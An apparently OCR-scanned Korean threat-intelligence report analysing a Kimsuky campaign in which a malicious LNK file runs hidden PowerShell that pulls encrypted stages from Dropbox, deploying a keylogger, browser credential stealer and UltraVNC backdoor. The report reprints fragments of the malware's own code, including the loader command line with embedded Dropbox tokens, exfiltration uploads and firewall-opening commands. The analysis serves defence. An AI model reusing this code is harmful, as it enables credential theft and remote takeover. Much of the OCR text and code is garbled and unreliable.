DropBox & 0| &%t <
(Kimsuky)

( Document No : DT-20240322-001 )




>
o - =
(\_ AJIE Ml 24 BN
o EM Jle
A 12 FRE AR S50 sid & Kimsuky O|Af Ot e B JHMSHEH SRS
CH4 22 DropBox & AFE%H HIZ7H7| Me(Ink) AEAEE FESHL s AO| LA
712, BEeteM 2002 HE g3 5 & g3 S F2 ULk
o REIAL =ME
[cco
Keylogger
PowerShell 2E &3 DropBox 8% “ ?
LNK > > @i
powershell.exe ps.bin VNC
r_enc.bin
info_sc.txt Cese
m_ps.bin
ad_ps.bin *
Browser
InfoStealer
Decoy
Document
HO|X| 2/ 14

HAURI



1. Efo|T Amt=EtIA Z2|2H-100 = H(2 AH).pdf.Ink
(MD5 : FCDCC6C56AE43F7A78413CC5204E9314, SIZE : 1,104,286)

mjo
mo
<
o
nx
gt

7H2 : PowerShell ZEE A28l DropBox O M&3t0] Asslel AHIFES

ViRobot LNK.S.Downloader.1104286

AHEY :

(1) BE2717] m(Ink) 28 Al PowerShell ZE7} A =IC}

2, Analysie [Symbolic link]

LinkTargetIDList

/4 not present

StringData

1

8 namestring: Iype: Text Document

9  Size: 5.23 KB

10 Date modified: 01/02/2020 11:23

11  relativepath: not present

12  workingdir: not present

13 commandlinearguments:
/c powsrshell -windowstyls hidden -nop -NoFrofile -NonInteractive -c "$tmp = '$temp$’';Function AESDecrypt [ param ( [Byte[]]3bytes, [String]$pass=\"paSswird\") $InputStream = New-Object
System.10.MemoryStream(, $bytes) ; s0utputStream = New-Object System.IO.MemoryStream;$Salt = New-Object Byte[](32);$BytesRead = $InputStream.Read(5Salt, 0, $5alt.length);if { $BytesRead -ne $Salt.

¢PBHDE2 = Wew-Object System.Security.Cryptography.Rfc2893DeriveBytes(ipass, §5alt);AESKey = SPBHDFZ. JEEBXEES(EZJ $MESIV = $PBEDF2.GetBytes (16) ;$RES = New-Object Security.Cryptography.Re

.Create SKey, $AESTV) ;30 = New-Object System.Security.C $Dec, [System.Security.Cryptography.CryptoStreamiode]::Read);
m. CopyTo (50 m) ;50 m.Dispose () ; return soutputStream. ToArray():} $lenl = 1-35549-3 $lenz =  1104130;$len3 =  1104130;4lend = 0x0010D9SE; $clientID = \"ényl&wlnd
sclientSecret = \"ikanlS4ze8Tosqy\";srefreshloken = \"h_QLZBSVQqoAARRAARRARSVKalMIZUSVD-iDx_3 C_QVY1ePpOCSKadFUa33Euxl\";$body = @{grant_type=\"refresh _token\";refresh_tokenssrefreshToken;clien

sclientID;client_secret=gclientSecret);§tokenEndpoint = \"https://api.dropboxapi.com/oauth2/token\";$res) e = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body sbody;if (Sresponse.acce.
{$accessToken = fresponse.access_token;)$downloadUrl = \"https://content.dropboxapi.com/2/files/download\"; SremoteFilePath = \"/stepl/ps.bin\";srequest = [System.Net.HttpWebRequest]::Creats(3do
srequest.Method = *;$request.Headers.Add (\"Buthorization\", \"Bearer faccessToken\");Srequest.Headers.Add(\"Drophos-API-Arg\", '[\"path\": \"' + jremoteFileFath + '\"}');3response =
$request.GetResponse () GetResponseStrean();$pass = \"paSSwird\";if (¢receiveStream -ne $null) (éstreamReader = New-Object System.IO.3StrearReader($receiveStream);imemo
New-Object System.I0 ject byte[] 1024;éread = O;do [ éread = $receiveStream.Read($buffer, 0, $buffer.length);émemoryStream.Write(sbuffer, 0, ¢read);] while (sread -
Senc_bytes = SmemoryStream. Tokreay();Sdec_bytes = RESDecrypt -bytes Senc_bytes -pess pass:inewString = [System.Tet.Encding]: :UTFS.GerString(¢dec. bytes) riex $newSteing; memoryStrean. Close (};
sstreamReader.Close () ;};§receiveStream.Close () Sresponse.Close () ;™

[ 1] Bt27}7] T (Ink)o| ZHE =l PowerShell

(2) M=l powerShell ZE= Refresh Token 2 AFE3l SZAXIO| DropBox Off H2& &= U=
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$response Invo
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$downloadUrl =
$remoteFilePath

[O&l 3] /step1/ps.bin CI2ZE
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ESDecrypt {
$InputStream New-0bj

Ney

.Read($s5alt, @, $5alt.Length);
.Length

$pass, $5alt);

$OutputStream.Dispose();

ryptoStream($InputStream, $Dec
n $0utpu am. ToArray

: :Read

$read = $receiveStream
$memoryS

ad($buffer, 8, $buffer.Length);
am.Write($buffer, @, $read);

tes = AESDecrypt -bytes $enc_bytes
String = [ ]::UTF2.G
$newString;

(6) M=l “/step1/ps.bin” LY O|H |
éé%

"/step1/r_enc.bin”

H i $downloadUrl)
$request.Headers., sToken™)
$request.Heade h* + $remoteFilePath +
$response = $request.GetResponse

$r vest $response.

[O&l 6] /step1/r_encbin CI2Z2E
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(7) A0 “/step1/r_encbin” WAL GZip LACE =3T3 2
[=] z X

ot=0f BASE64 2 QARG E S ¢

$buffe

$read

do

$read = $rece

$memoryStream.Write($buffer,
$read -gt @

Length
ract ($enc_bytes

Load ($ext

($method in $type.GetMethods()) $name? —
f (($method.Name.ToLower())-equals {$name2| ToLower()))

$instance :CreateInstance($type

baseB4str)

. {baseBdstr):
folde = [

te upDa
le,

itForExit

[212] 8] makeProbel &%=
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REMOTE_FILE PATH = 5
objHTTP.Open HTTP_METHOD, DROPBOX_API_ENDPOINT,

E_FILE_PATH & ™'

If objHTTP.Status = 200 Then

responseData = objHTTP.responseBody
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(11) O| 2 info_sc.txt T2 Of2fet Z2 AHLIE oLt
o V{E)Q wE}ps1 TUS MY

— EJ} o
o (TG T2 10 ZOCH 2SI XY 2HEH O S5

o w{HBips1 TYS ALESH Dropbox Ol A “/stepl/info_psbin” IIYEZ 0|2t |23t & HH
012 HEf  EZ2A CrE A3 AIZH ORX|2F &35 AlZH
@ Security Script FH  2024-03-19 2= 4150 - EE|HE = 27 SO = 10 E0(T =T LG 2024-03-19 2% 43500 2024-03-19 2F 4:25:01
£
ag  EZA % ZH HE  JIEMEAD)

G EMSHE SAE X WSHOF UL O SEE HESHEHE [S4] BTE A0 FHEY 4 HOXE HUAL.

ApAE|

34 CAWindows\System32\WScript.exe //b /fevbscript ChUserst Mal=a®o = 2 \AppData'\Roaming\Microsoft\ Windows\ Themes\v1516193

—

[28 12] Y 2AZ0 SFE v#E) ot

Bk |

(33 13] info_sctxt E L&

ZZM2AMHIA S5 (FEO tasklist AH)
A|AH HE (H20] sysinfo AFR)
H O HY (YHO| netsh ALE)
AFR S0l pC Al 22 (WMIC ALR)
o S EC| U IfY = (BT, B, HREE, Recent, A%t Z2 1, Program File)

String($sy:
fupData = "+irbibbbbbbEEEEE S) HHHHEH

$tasklist asklist; $t t ArrayToString
$upData += "+ TN

$upData += "+++iititit F

$upData += "#HrbeHbbbbe

$null
= $status

$upData += $av_soft2 + "
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(13) =XE MEE= AES #Alo2 AS5351E|0f ZZXH2| DropBox Ol Y2 EEICH

X YEE ZE :/logl1/{tiF IP})/enc_info{ Rt}

Post -Body $body

\ddressFamily -eq 'IPv4’ -and % .InterfaceAlias -ne
$time_sata
$name = $name + $time_sata

/$ipAddress[1]/$name

$response = Invoke-RestMethod -Method Post -Uri $uploadUrl -Headers $headers -Body $updata

oconf =
oconf . ShowWind
errReturn = wm
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oken”
+ $remoteFilePath + '"}°

.Read($buffer, @, $buffer.Length
buffer, @, $read

$enc_bytes -p $pass;
UTF8.GetString($dec_b

“ipt $scblock -args $uri, $pass;
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[1& 18] /step1/ad_ps.bin It CIR2ZE

(17) "ad_ps.bin” Lt@2 02| 7tX|C] 70| EXotH, AMMNA|= & HeteM Y& &,

7|24, VNC 7t 25 UL,
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Keylogger (ad_ps.bin)
HY 7|24 dEIE £ “GlobalWAlreadyRunning191122" REHIAE MM T AMEXLS| 7|
2 U SEECE %Appdata%WMicrosoftWWindowsWThemesWversionxml G20 &

$pref - $al[e] + $al[1];
$clk =

Add-Type -TypeDefinition $clk;
Add-Type - mbly PresentationCore;

$bHur

:OpenExisting($strMute);

$newMute New-Object System.Threading.Mutex($true,$strMute);

[A8 19] 7|28 €8 2E

while($bMute){
Start-Sleep -Milliseconds 1;

$hToplnd CL:: ($F[3] 2
f[4]) ($hTopkind, $curkind, $curkin

n+++b++0+ [T+ Bt " " + $curkind. ToStr "] ++++++++ 0", $o_enc_mode);

$curTick = $CL:: ($F[8] 2
if(($oldTick -eq 8) -or (($curTick - $oldTick) -gt 10ee)
$0ldTick = $curT 3
$curClip = $CL
if($oldclip -ne trurrllp)
$oldClip
if($CL::
R e e e e anee I

(19) MEE 7|24 TY2 m_ps.bin T AES 2 23t & SZX2| DropBox 2

$min
$dir
$log

$req uri = $uri +
PostBinary -uri $req uri -bytes $enc by

e
I
In

(A8 21] 7124 S YZESHE m_ps.bin It

- >ay
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Browser Infostealer (ad_ps.bin)

(20) Chrome, Edge, Naver Whale & E2t2X 0| XMZE Cookies, History, LoginData £
F=H3ch

rowserInfo {
GetBrowserInfo {

Add-Type -AssemblyName System.Security;

$appPath = $env:

e $cookies -MemberType NoteProperty:

e NoteProperty;

ile($appPath + H
ember -Name " " -Value $log t ype NoteProperty;

$stateRetdson | Add-Member -Name $browserTypes[$i] -Value $browser -MemberType NoteProperty;

CH2
SES

(21) Cookies 3! LoginData € ==3I517| 2|8l LocalState Oﬂ*‘l MasterKey & %t
O} FAI EE
-1 — o

+3E HES2 GZip HACE YF 2 BASE64 Q1F Y50 JSON B

"Chrome" :
"H4 s TAAAAAAAEATY7VSLJWrY10JWa+6GX6IbS47 s+s0AmSAAeQek TdMjdorSX5rAZRA+1 /HKB /9 EePy
"Has TAMAAAAEAODYICSCUI7s4PgbDMIt93/ clxi7ZsmXf 151qGmMwiB lmxtrCFElapMUe1TZCol21pEg
"H4sTAAAAAAAEAOXOCWAURAZ /9 PQBhBBUAiGBQO7]iUSYHOS+74jGycxkMs 1kIsxMThUITCTgeCC
"LoginDa : "HAsTAAAAAAAEAO2cPW/bRhjHSAMWHTt27LyAMNyBQFDEhJ@mRuchMYpGsZ1UiCInihTEaAuCos 70w

"LocalState”: "HAsIAAAAAAAEAOYO2bLbWNIu9iodurKD3cIB8dcTvMGaCBEKAIAECS/9jB+7Z51Gawo+7/019h3vvHz0cS
"Cookies": "H4sIAAAAAAAEADYO T'7I/nﬁAJBA1h914FUdCb\DQF C15YhoQCQkmoUoxSBMRxYIVQUXBhg2wIFjAg:
"Histor 5 Oy9C ] himSbDb07ms 2rsnaug8Es+i+71scYjQaSWONZgSZeVkostdIQ)
"LoginData"™: "HAsTAAARAAAFAOZ2dT2ziWB3 H7T1]m.+deazmquxm1Mhalz+ﬂPlCJﬂkstﬂﬂlhhTaPLFuﬂIkﬂXYrhm
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VNC (ad_ps.bin)

(23) 2 E210|20| M50 AT 3HEl gaabin IS 202t B3t & AT

n AESDecrypt {

InputStream = New-Object System.IO.MemoryStream(
$Outputstr New-Object System.IO.MemoryStream;
$Salt = New-Object Byte[]
ad = $InputStream. ($5: 8, $Salt.Length);
JytesRead -ne $Salt. I

$PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pa
$AESKey = $PBKDF2.GetByt
$AESIV = $PBKDF2.
AES = New-| Db]ELt Security. (prtcgvaph .AesManaged;
- $AES.CreateDecryptor($AESKey, $AESTV);
w-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec,
($OutputStream);
eam.Dispos
$0utputStream. TnA

S A B WA B
=l
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fr:

[O3 25] aaa.bin CIREZE & A

(24) 2 E aaabin L2 2 =20[E20] F&SHK VNC Lt0| Zotel = Oies

$exPath = $outPath.Substring(®, $outPath.LastIndex
f$outPath = $exPath +
appdata”;
fexPath + "\
$exPath + "
fexPath + "\u
fexPath +

if( -not $check

Invoke-WebRequest -Uri $srcURL -OutFile $outPath;
if( (Test-Path $outPath

if(Test-Path $calc_data_ini
C ]::Delete($calc_data_ini);

Test-| Path $L lc_run_s
::Delete($calc_run_s);

Expand-Archive $outPath -DestinationPath $exPath;

[13 26] &= M Cf

Fo
tu
[N

£ ultrazip 0E HE F7| Y= 37 o ER o= 2y CRC
k5] ultravne.ini 1,155 616 74 €3 d3esacie
[Ewinvnc.exe 2,912,200 1,070,389 SE& ==Y 7045b120

[A8 27] 22EE o= oY
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(26) VNC LIS AFRSL7| Q8 ZE 5900 EAIS 3|83t izt 22 MAMBIC
(27) Winvnc.exe It 2 "AAA" O|29| MH|AZ MM T
if( $c

New-NetFirewallRule -DisplayName "My Direction Inbound -LocalPort 598@ -Protocol TCP -Action Allow;

$calc_data_exel = $calc_data_exel + ] H
Servi lame - inaryPathName data_exel;

[OE 28] Wotd E Md = VNC &H

(28) AAXMOE sl ArE2=l VNC I UltraVNC IFO0|H, VNC B IHAQEE "123"S

AHESRALE.
B winvnc.exe &4 >
adt SEA Archive CIXE M3 DI sgA] 29 AMS| 0F HH
=4 ok
23
o 2E VMC server
g% SE ==
oy HH 1436
HEUE UltraWvmC
HE HH 1436
HEA Copyright © 2021 UltraVNC
= 2.77TMEB
=HTH 2R 2023-10-21 2= 947
v oy S8
EE #= WNC
EE oY 02 WinVNC.exe

[2& 29] VNC I HE

) ultravncini - Windows 0 22

TYE BLE MU0 =27V EEZH)
[ultravnc]
passwd=D3B8D88ATE829ACCS3
passwd2=D3B8D88ATES29ACCS3
[admin]

UseRegistry=0
MSLogonRequired=0
NewMSLogon=0

DebugMode=2

Avilog=0

path=C:H#tProgram Files¥tuvne bvbawUltraVNC
kickrdp=0

service_commandline=

Debuglevel=10

DisabIeTrayIconzol

[ & 30] ultravnc.ini

123

- >ay
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